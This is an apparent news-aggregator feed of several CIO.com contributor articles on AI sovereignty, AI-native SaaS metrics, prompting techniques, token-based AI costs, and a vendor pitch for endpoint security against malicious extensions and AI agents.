<p class="wp-block-paragraph">None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an <a href="https://berthub.eu/articles/posts/gaia-x-is-an-expensive-distraction/">“expensive distraction”</a> that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.</p>



<p class="wp-block-paragraph">Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:</p>



<ol start="1" class="wp-block-list">
<li>Can we classify AI workloads by public-service risk?</li>



<li>Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?</li>



<li>Can we restrict which models are approved for which data classes and functions?</li>



<li>Can we reconstruct an AI-assisted action in enough detail to explain it?</li>



<li>Can we change providers without losing continuity or institutional knowledge?</li>



<li>Can we explain the system to citizens, regulators, auditors and elected officials?</li>
</ol>



<p class="wp-block-paragraph">A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[The new value architecture of the AI-native SaaS era]]></title>
<description><![CDATA[The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.



In brief:




AI is transforming software as a service (SaaS), and the old ways of keeping score no longer apply.



Smart companies are evolving new metrics that provide deep...]]></description>
<link>https://tsecurity.de/de/3694395/it-security-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694395/it-security-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.</p>



<p class="wp-block-paragraph">In brief:</p>



<ul class="wp-block-list">
<li><a href="https://www.cio.com/article/4146669/is-ai-the-end-of-saas-as-we-know-it.html">AI is transforming software as a service (SaaS)</a>, and the old ways of keeping score no longer apply.</li>



<li>Smart companies are evolving new metrics that provide deeper insight into how AI-native software is performing in a new marketplace.</li>



<li>These changes impact everything from pricing to valuations.</li>
</ul>



<p class="wp-block-paragraph">The transformation of the software-as-a-service (SaaS) industry toward AI-native operating companies is rapidly changing the unit of value across the industry.</p>



<p class="wp-block-paragraph">The traditional metric of seats — which measured access — is rapidly giving way to credits designed to measure work performed. This evolution is upending the industry in multiple ways, impacting everything from pricing to enterprise valuations.</p>



<p class="wp-block-paragraph">While many companies still cling to seat-based metrics to measure growth, efficiency and durability, the future is likely to be one in which companies utilize a <a href="https://www.cio.com/article/4184688/it-hurtles-toward-the-great-enterprise-pricing-reset.html">credit-centric metrics framework</a>, with seats and outcomes as the bookends of a spectrum.</p>



<h2 class="wp-block-heading">Why do software companies need new metrics?</h2>



<p class="wp-block-paragraph">Why the rethink, and why now? There are five major forces that are driving this shift:</p>



<ol start="1" class="wp-block-list">
<li><a href="https://www.idc.com/resource-center/blog/is-saas-dead-rethinking-the-future-of-software-in-the-age-of-ai/"><strong>The unit of value is changing</strong></a><strong>.</strong> Seats measured who could access software, and credits measure what the software actually does. But in an AI-native world, agents don’t have seats; they have workloads. Over the past 18 months, every major SaaS platform has moved to some forms of credit or consumption unit.</li>



<li><strong>The cost of goods sold (COGS) is exploding.</strong> AI inference adds real per-unit costs that scale with usage. In an AI-native world, software companies can’t scale to infinite users at near‑zero marginal cost as before.</li>



<li><strong>Buying is moving up the org chart.</strong> AI-native applications shift purchasing to higher-level operators — such as line-of-business leaders or chief operating officers — which expands the market from software budgets to labor budgets. And because AI agents replace services as well as software, the total market opportunity is 3x to 10x larger than traditional SaaS.</li>



<li><strong>Time to value (TTV) is collapsing.</strong> With AI-native tools, customers start seeing meaningful results in weeks rather than quarters. Onboarding and setup are fast, workflows are pre-built, and there’s no need for extensive customer success or professional services — dramatically reducing implementation time and costs.</li>



<li><strong>Retention is bifurcating.</strong> AI forces clarity in a way that traditional SaaS couldn’t. Products that can provide value become even “stickier” and retain customers. Those that don’t churn faster. In an AI-native marketplace, the middle disappears.</li>
</ol>



<h2 class="wp-block-heading">How this shift is impacting pricing</h2>



<p class="wp-block-paragraph"><a href="https://www.ey.com/en_us/insights/strategy/grow-with-trusted-software-portfolio-management">Given how AI-native software is transforming the market</a>, the shift to more variable pricing options is inevitable.</p>



<p class="wp-block-paragraph">Seats won’t go away completely. Subscription pricing based on the number of users is stable and predictable and will continue to work for some customers. Tokens — the use of pass-through pricing for underlying compute — will fit those customers where the AI feature is commoditized or the buyer wants transparency into costs.</p>



<p class="wp-block-paragraph">Credits will likely become the dominant architecture because they provide a simple metric for both customers and providers. The vendor sets the conversation ratio between credits and underlying compute, shielding the customer from inference cost details. Credits are easy to understand and can be packaged into annual contracts for multiple features and products.</p>



<p class="wp-block-paragraph">Finally, the industry will likely see <a href="https://www.gartner.com/en/newsroom/press-releases/2026-07-01-gartner-says-us-dollars-234-billion-in-enterprise-application-software-spend-is-at-risk-from-agentic-artificial-intelligence">some move toward outcome-based pricing</a> for results such as resolved tickets, recovered revenue or qualified leads. This strategy will mostly be limited to verticals where it is easy to prove AI impacted the result.</p>



<p class="wp-block-paragraph">Where a software vendor sits on this spectrum is a signal of differentiation and pricing power. Credits are where most defensible AI-native businesses are landing because they balance customer predictability with vendor margin control.</p>



<h2 class="wp-block-heading">How AI upends classic SaaS metrics</h2>



<p class="wp-block-paragraph">When SaaS was in its infancy, companies settled on key metrics designed to answer a small set of core questions. Are we growing? Are customers using the product? Are we retaining and expanding accounts?</p>



<p class="wp-block-paragraph">But as AI upends software itself, it is also requiring companies to adopt new metrics to track success. These new metrics fall into three primary buckets, rebuilt around the pricing spectrum described earlier and the trend toward credits as the primary frame:</p>



<h3 class="wp-block-heading">Revenue composition</h3>



<ul class="wp-block-list">
<li>Committed credit annual recurring revenue (ARR) vs. burndown ARR: Measuring the credits sold on annual commitment vs. those consumed and replenished. This is the single most important split for valuation. Committed credits behave like subscription and burndown behaves like usage.</li>



<li>Credit utilization rate: The percentage of purchased credits consumed per period. This is a leading indicator of renewal sizing.</li>



<li>Credit burn velocity: How fast is a customer consuming their credits, and is that consumption increasing or decreasing quarter over quarter? This metric predicts expansion or contraction before it shows up in ARR.</li>



<li>Effective price per credit: The real revenue per credit after discounts, overage and rollover, which can detect revenue leakage and help companies set smarter guide rails.</li>
</ul>



<h3 class="wp-block-heading">Margin reality</h3>



<ul class="wp-block-list">
<li>Credit margin: The gross profit the company earns per credit after subtracting inference costs. This is the core economic unit for AI-native, usage-based businesses — the replacement for gross margin per seat used in SaaS.</li>



<li>Inference-adjusted gross margin: By carving out AI inference costs separately in the P&amp;L statement, you can see true AI margins, avoid hiding deterioration inside blended SaaS margins, and clearly distinguish AI economics from legacy SaaS economics.</li>



<li>Compute leverage ratio: This metric measures how efficiently the business converts compute spend into revenue. It shows whether your AI margins are improving as you scale.</li>



<li>AI-adjusted “Rule of 40”: This updated metric recalibrates the traditional growth and profitability benchmark to account for AI’s lower gross margins and variable inference costs, giving a more accurate picture of business health for AI-native companies.</li>
</ul>



<h3 class="wp-block-heading">Behavioral and value signals</h3>



<ul class="wp-block-list">
<li>Time-to-first outcome: Replaces traditional onboarding metrics. Tracks how fast a customer reaches their first measurable result.</li>



<li>Adoption: AI-native adoption is measured by workflow penetration and active agent density, not seat count. As AI replaces human-driven usage, the unit of adoption shifts from people to automated workflows and agents.</li>



<li>Net credit retention (NCR): Credit-volume retention across the customer base, tracked separately from net recurring revenue to avoid price-change impact.</li>
</ul>



<p class="wp-block-paragraph">Along with these new metrics, the industry’s transformation is prompting companies to retire or recalibrate old SaaS measures, including per-seat ARR as a primary key performance indicator (KPI), traditional magic number calibrated to subscription dynamics, unadjusted Rule of 40, customer success metrics tied to human touchpoints, and blended gross margin without AI COGS carve-outs.</p>



<h2 class="wp-block-heading">What does this mean for enterprise value calculations?</h2>



<p class="wp-block-paragraph">As the internal metrics of success change, so do the ways the investment community measures growth and long-term viability.</p>



<p class="wp-block-paragraph">Increasingly, a company’s valuation multiple depends on whether its revenue behaves like committed subscription ARR or volatile usage ARR, and the commit‑to‑burndown ratio is the metric investors use to decide where the company fits.</p>



<p class="wp-block-paragraph">For example, a business with 80% committed credit ARR could trade closer to subscription comps and one with 80% burndown could trade closer to usage comps even though both have the same types of customers. Being able to proactively explain the commit‑to‑burndown mix can help companies avoid undervaluation.</p>



<p class="wp-block-paragraph">In addition, utilization is expected to replace net promoter scores and seat usage as the primary predictor of churn or expansion. Low utilization guarantees downsizing at renewal, so companies must track utilization cohorts the same way SaaS tracks logo retention cohorts today.</p>



<p class="wp-block-paragraph">We’re also seeing an inversion of the operating model, with R&amp;D and COGS moving up the P&amp;L and sales and marketing (S&amp;M) and customer success (CS) moving down or sideways. The net operating leverage profile is structurally different from classical SaaS, and the cost-to-scale curve looks different too.</p>



<p class="wp-block-paragraph">Finally, credit margin engineering is a hidden value-creation lever. The gap between price per credit and cost per credit is set by the software vendor and can be optimized. Most operators have barely started managing this rigorously, and the ones who do will pull away on margin.</p>



<h2 class="wp-block-heading">What this means for leaders, boards and investors</h2>



<p class="wp-block-paragraph">The shift from classic SaaS metrics to new AI‑native measures isn’t cosmetic. It represents the seismic change the industry is experiencing as AI matures and transforms products and organizations.</p>



<p class="wp-block-paragraph">While these metrics — and perhaps others yet to be determined — may evolve over time, there is no doubt they are already changing how AI companies allocate capital, price products, incent sales teams, evaluate performance and communicate with investors.</p>



<p class="wp-block-paragraph">It’s important to remember that SaaS metrics were practical tools for a specific era of software. As that era draws to a close, winning companies will choose new metrics that shape behavior and drive smart decision-making.</p>



<p class="wp-block-paragraph"><em>The views reflected in this article are the views of the author and do not necessarily reflect the views of Ernst &amp; Young LLP or other members of the global EY organization.</em></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Stop asking AI nicely: Here’s how to get work-ready results every time]]></title>
<description><![CDATA[Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation fo...]]></description>
<link>https://tsecurity.de/de/3694396/it-security-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694396/it-security-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.</p>



<h2 class="wp-block-heading">Why advanced prompting still matters in enterprise settings</h2>



<p class="wp-block-paragraph">Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.</p>



<h3 class="wp-block-heading">1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning</h3>



<p class="wp-block-paragraph"><strong>The problem:</strong> Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.</p>



<p class="wp-block-paragraph"><strong>What I did:</strong> I started explicitly instructing the model to “think step by step” and show its reasoning.</p>



<p class="wp-block-paragraph"><strong>Before (basic prompt): </strong>“Analyze last quarter’s sales data and recommend three actions.”</p>



<p class="wp-block-paragraph"><strong>After (CoT prompt):</strong></p>



<p class="wp-block-paragraph">“You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”  </p>



<p class="wp-block-paragraph"><strong>Results:</strong> Accuracy and depth improved dramatically.</p>



<p class="wp-block-paragraph"><strong>Variants that worked well:</strong> Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.</p>



<p class="wp-block-paragraph"><strong>Template you can use:</strong></p>



<pre class="wp-block-code"><code>You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]</code></pre>



<h3 class="wp-block-heading">2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths</h3>



<p class="wp-block-paragraph">For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.</p>



<p class="wp-block-paragraph"><strong>Example:</strong> I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT</p>



<p class="wp-block-paragraph"><strong>Prompt Snippet:</strong></p>



<pre class="wp-block-code"><code>Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.</code></pre>



<p class="wp-block-paragraph"><strong>Outcome:</strong> The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).</p>



<p class="wp-block-paragraph"><strong>When to use:</strong> Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.</p>



<h3 class="wp-block-heading">3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior</h3>



<p class="wp-block-paragraph">One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.</p>



<p class="wp-block-paragraph"><strong>ReAct example</strong>: (used in data analytics workflow)</p>



<pre class="wp-block-code"><code>You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]</code></pre>



<p class="wp-block-paragraph">In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.</p>



<h3 class="wp-block-heading">4. Meta-prompting and self-reflection: Letting the model improve itself</h3>



<p class="wp-block-paragraph">Use the model to refine its own prompt. This is a huge time-saver.</p>



<pre class="wp-block-code"><code>You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.</code></pre>



<p class="wp-block-paragraph">Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.</p>



<h3 class="wp-block-heading">5. Multimodal and structured output techniques</h3>



<p class="wp-block-paragraph">With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).</p>



<p class="wp-block-paragraph"><strong>Tip from experience:</strong> Be extremely specific in describing what the models should focus on.</p>



<h4 class="wp-block-heading">Best practices I learned the hard way</h4>



<ul class="wp-block-list">
<li><strong>Start simple, then layer complexity</strong>: Over-engineered prompts from Day One usually backfire.</li>



<li><strong>Model specific tuning:</strong> Some models respond better to XML delimiters; others to explicit reasoning.</li>



<li><strong>Evaluation and versioning:</strong> Treat prompts like code if you track versions and run automated evals.</li>



<li><strong>Security guardrails:</strong> Always include instructions against prompt injections and respect data boundaries.</li>



<li><strong>When to stop prompting</strong>: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.</li>
</ul>



<h2 class="wp-block-heading">Final takeaways for technical leaders</h2>



<p class="wp-block-paragraph">Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.</p>



<p class="wp-block-paragraph">The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption]]></title>
<description><![CDATA[I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.



The initial hype has ...]]></description>
<link>https://tsecurity.de/de/3694390/it-security-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694390/it-security-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.</p>



<p class="wp-block-paragraph">The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.</p>



<h2 class="wp-block-heading"><a></a>AI as a leadership multiplier</h2>



<p class="wp-block-paragraph">The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.</p>



<p class="wp-block-paragraph">When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”</p>



<p class="wp-block-paragraph">Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.</p>



<p class="wp-block-paragraph">Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.</p>



<p class="wp-block-paragraph">When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.</p>



<p class="wp-block-paragraph">The requirement for top-down, executive ownership stems from three critical realities observed in the field:</p>



<ul class="wp-block-list">
<li><strong>Silo-smashing and data collaboration:</strong> True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.</li>



<li><strong>Cultural transformation and fear mitigation:</strong> AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.</li>



<li><strong>C-Suite education and strategic alignment:</strong> The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.</li>
</ul>



<p class="wp-block-paragraph"><a href="https://www.pwc.com/gx/en/issues/c-suite-insights/ceo-survey.html">PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI</a>. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across <em>strategic decision-making and cross-functional workflows</em>. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.</p>



<h2 class="wp-block-heading"><a></a>AI as a new operational framework</h2>



<p class="wp-block-paragraph">Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.</p>



<p class="wp-block-paragraph">AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.</p>



<p class="wp-block-paragraph">Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.</p>



<p class="wp-block-paragraph">In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.</p>



<p class="wp-block-paragraph">To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, <a href="https://arxiv.org/pdf/2604.22750">your business is billed dynamically based on the exact volume of tokens consumed</a> by every query submitted (input) and every response generated (output).</p>



<p class="wp-block-paragraph">Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.</p>



<p class="wp-block-paragraph">The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.</p>



<h2 class="wp-block-heading">Risks in the AI adoption model</h2>



<p class="wp-block-paragraph">Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).</p>



<p class="wp-block-paragraph">I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. <a href="https://www.bain.com/insights/your-ai-budget-is-growing-your-returns-arent-heres-why/">Bain &amp; Company’s global Automation and AI Pathfinder Survey </a>found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.</p>



<p class="wp-block-paragraph">Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.</p>



<p class="wp-block-paragraph">Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from <em>“How much money will AI save us?”</em> to <em>“How will we leverage AI to exponentially increase the long-term value of our enterprise?”</em></p>



<p class="wp-block-paragraph">Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.</p>



<p class="wp-block-paragraph">As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[5 endpoint blind spots your EDR/XDR was never built to see]]></title>
<description><![CDATA[In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.



That was enough. Over 86,000 downloads. Malicious code in PhantomRaven, packages running in the production systems of Fort...]]></description>
<link>https://tsecurity.de/de/3694387/it-security-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694387/it-security-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.</p>



<p class="wp-block-paragraph">That was enough. Over 86,000 downloads. Malicious code in <a href="https://www.koi.ai/blog/phantomraven-npm-malware-hidden-in-invisible-dependencies" target="_blank" rel="noreferrer noopener">PhantomRaven</a>, packages running in the production systems of Fortune 500 companies worldwide. And throughout the entire window, not a single EDR/XDR alert.</p>



<p class="wp-block-paragraph">This happened because the attack surface has expanded to a layer EDR/XDR was never designed to see: VS Code extensions, local MCP servers, and rogue AI coding assistants that inherit your engineers’ valid credentials to steal data at machine speed.</p>



<p class="wp-block-paragraph">To eliminate this structural vulnerability, Palo Alto Networks acquired Koi, an AI-native developer security product engineered for proactive, precision enforcement. Below we compiled a 2026 CISO checklist you can use to audit your environment and see how Koi automates each defense from day one.</p>



<p class="wp-block-paragraph"><strong>#1. Gain real-time visibility into shadow AI &amp; extensions</strong></p>



<p class="wp-block-paragraph">Your existing asset management tracks binaries and installers, but it cannot see local VS Code extensions, MCP servers, or ad-hoc Python scripts running on developer endpoints. This visibility gap was recently exposed by the <a href="https://www.koi.ai/blog/maliciouscorgi-the-cute-looking-ai-extensions-leaking-code-from-1-5-million-developers" target="_blank" rel="noreferrer noopener">MaliciousCorgi campaign</a>, where two marketplace extensions with 1.5 million combined installs silently harvested every file a developer opened. Neither triggered any detection because they were not binaries, not executables, not anything your inventory was built to flag. To counter this, Koi closes the gap by analyzing what extensions actually do after installation, exposing hidden data-harvesting channels running inside your active workspace.</p>



<p class="wp-block-paragraph"><strong>#2. Distinguish between human and autonomous agent behavior </strong></p>



<p class="wp-block-paragraph">When a rogue AI agent exfiltrates your proprietary source code, it uses a developer’s valid credentials during normal working hours, making the session look entirely legitimate to standard XDR baselines. Moving beyond static permission lists, Koi deploys behavioral profiling within the workspace runtime. By actively intercepting unauthenticated background tasks and blocking unauthorized file-system reads, it stops automated data exfiltration in real time.</p>



<p class="wp-block-paragraph"><strong>#3. Establish guardrails for automated package updates on endpoints</strong></p>



<p class="wp-block-paragraph">Developers prioritize speed, often allowing software packages to auto-update on their endpoints the moment a new version appears. Attackers weaponize this supply chain vulnerability, as seen in the May 2026 Team PCP attack where 3,800 GitHub repositories were compromised in just 36 minutes via poisoned auto-updates. Securing agentic endpoints against these rapid breaches requires behavior-based inspection within the active workspace context. Koi operates at this layer by providing safe deployment buffers that automate version cooldowns, blocking bleeding-edge updates until they are vetted. By continuously auditing process creation within the IDE runtime, Koi instantly drops unauthorized remote connections before malicious payloads can exfiltrate credentials from the endpoint.  </p>



<p class="wp-block-paragraph"><strong>#4. Enforce principle of least privilege for AI agents</strong></p>



<p class="wp-block-paragraph">AI coding assistants inherit the privileges of whoever deployed them. In practice, that means read access to production databases, write access to core repositories, and access to every secret in environment files and configuration directories. To restrict this excessive access, Koi applies dynamic sandboxing directly to AI agent processes at the kernel level. It enforces a strict zero-trust boundary that segregates sensitive workspace vectors, preventing agents from pulling data outside their approved scope without interrupting developer workflows.</p>



<p class="wp-block-paragraph"><strong>#5. Maintain continuous endpoint posture management</strong></p>



<p class="wp-block-paragraph">Signature-based scanning only stops known threats. Sophisticated repository attacks often arrive as functional, high-rated software that carries no known bad signature. Koi’s research into the <a href="https://www.koi.ai/blog/darkspectre-unmasking-the-threat-actor-behind-7-8-million-infected-browsers" target="_blank" rel="noreferrer noopener">DarkSpectre campaign</a> found eight browser extensions, all carrying “featured” badges from Google and Microsoft, installed by over 8 million users, silently harvesting every conversation from ChatGPT, Claude, and Gemini in the background. Koi addresses this by operating upstream: scanning marketplace listings every hour, using LLM-driven code analysis to compare what software promises against what its code does, sandboxing it, and scoring the risk before it ever reaches the endpoint.</p>



<p class="wp-block-paragraph"><strong>Summary</strong></p>



<p class="wp-block-paragraph">Securing the modern enterprise is no longer about patching individual gaps. As AI agents redefine the workforce, Agentic Endpoint Security (AES) is now a strategic imperative for every CISO. By establishing a mandatory control plane for the AI-native workspace, AES ensures that your organization can scale engineering velocity without ever compromising enterprise integrity. </p>



